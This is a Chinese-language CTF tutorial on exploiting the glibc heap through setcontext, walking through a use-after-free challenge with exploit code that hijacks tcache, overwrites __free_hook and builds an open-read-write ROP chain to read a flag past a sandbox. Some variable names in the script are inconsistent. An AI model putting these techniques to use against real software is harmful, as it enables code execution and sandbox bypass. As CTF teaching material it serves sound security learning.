跟上时代之高版本GLIBC下堆利用(一)
字数 1147 2025-08-07 08:22:31
高版本GLIBC下堆利用技术:setcontext利用详解
0x00 背景介绍
在现代CTF比赛和实际漏洞利用中,随着GLIBC版本的提升,传统的堆利用技术面临诸多挑战。本文详细讲解高版本GLIBC环境下setcontext函数的利用技术,这是绕过沙箱实现ORW(open-read-write)攻击的关键技术。
0x01 setcontext函数原理分析
GLIBC 2.27及以下版本
在libc-2.27.so中,setcontext函数以rdi寄存器为索引向各寄存器传输数值:
mov rsp,QWORD PTR [rdi+0xa0]
mov rbx,QWORD PTR [rdi+0x80]
mov rbp,QWORD PTR [rdi+0x78]
mov r12,QWORD PTR [rdi+0x48]
mov r13,QWORD PTR [rdi+0x50]
mov r14,QWORD PTR [rdi+0x58]
mov r15,QWORD PTR [rdi+0x60]
mov rcx,QWORD PTR [rdi+0xe0]
push rcx
...
ret
关键点:
rdi+0xa0处的值会被赋给rsp,实现栈劫持rdi+0xe0处的值会被赋给rcx,随后被压栈并通过ret指令控制程序流
GLIBC 2.29及以上版本
从GLIBC 2.29开始,setcontext的索引寄存器从rdi改为rdx:
mov rsp,QWORD PTR [rdx+0xa0]
mov rbx,QWORD PTR [rdx+0x80]
...
这使得利用难度增加,需要先控制rdx寄存器。
0x02 利用方法
基本利用流程
- 劫持控制流:通常通过
__free_hook调用setcontext,因为free的参数是堆块地址,天然可以作为rdi/rdx的初始值 - 栈劫持:通过控制
rdi+0xa0(或rdx+0xa0)处的值来设置rsp - 控制程序流:通过控制
rdi+0xe0(或rdx+0xe0)处的值来设置返回地址
常用gadget
对于GLIBC 2.29-2.32,可使用以下gadget间接控制rdx:
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
0x03 实际利用示例:CISCN 2021 silverwolf
题目分析
- 64位程序,GLIBC 2.27
- 存在UAF漏洞
- 无double free检测
利用步骤
- 泄露堆地址
add(0x30)
delete()
edit("a"*0x10)
delete()
show()
heap = u64(ru("\n").ljust(8, b"\x00"))
heap_base = heap - 0x1920
- 劫持tcache头
head = heap_base + 0x10
add(0x30)
edit(p64(head))
add(0x30)
add(0x30)
- 泄露libc地址
str = p64(0)*4 + p64(0x00000000ff000000)
edit(str)
delete()
show()
libc = u64(ru("\n").ljust(8, b"\x00"))
libc_base = libc - 0x70 - libc.sym["__malloc_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 53
free_hook = libc_base + libc.sym["__free_hook"]
- 构造ORW链
flag_addr = heap_base + 0x2000
pop_rax_ret = base + 0x000000000001ced0
pop_rdi_ret = base + 0x000000000002144f
pop_rsi_ret = base + 0x0000000000021e22
pop_rdx_ret = base + 0x0000000000001b96
read = base + libc.sym["read"]
write = base + libc.sym["write"]
syscall = read_f + 0xf
orw = p64(pop_rdi_ret) + p64(flag_addr)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(flag_addr)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(read_f)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(flag_addr)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(write_f)
- 劫持tcache_perthread_struct
add(0x48)
edit(p64(0)*9)
for i in range(5):
add(0x10)
add(0x18)
edit(p64(heap_base+0x50))
add(0x38) # 申请到tcache_entry
- 布置tcache_entry指针
orw_addr = heap_base + 0x1000
payload = p64(free_hook) # 0x20大小的tcache链
payload += p64(heap_base + 0x2000) # 0x30大小的tcache链(作为rdi的堆块)
payload += p64(heap_base + 0x20A0) # rdi+0xa0(劫持的栈地址)
payload += p64(heap_base + 0x2000) # 0x50
payload += p64(orw_addr + 0x60) + p64(orw_addr) # 0x60和0x70放ORW链
payload += p64(0)
edit(payload)
- 最终利用
add(0x10)
edit(p64(setcontext)) # 劫持free_hook
add(0x20)
edit("./flag\x00") # 作为filename
add(0x30)
pl = p64(orw_addr) + p64(pop_rdi_ret+1) # 控制rsp
edit(pl)
add(0x60)
edit(orw[:0x60])
add(0x50)
edit(orw[0x60:]) # 布置ORW链
delete() # 触发
0x04 高版本GLIBC下的变化与应对
GLIBC 2.29及以上版本中,setcontext的索引寄存器从rdi改为rdx,这使得利用更加困难。解决方案:
- 寻找能够通过rdi间接控制rdx的gadget
- 常用的gadget位于
getkeyserv_handle+576:
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
0x05 总结
setcontext利用是高版本GLIBC下绕过沙箱实现ORW攻击的核心技术,关键点包括:
- 理解setcontext函数在不同GLIBC版本中的行为差异
- 掌握通过堆漏洞劫持tcache_perthread_struct的技术
- 熟练构造ORW链并正确布置内存布局
- 针对高版本GLIBC的调整策略
通过本文的详细分析,读者应该能够掌握setcontext在各种GLIBC版本下的利用方法,并能够应用于实际的CTF比赛和漏洞利用场景中。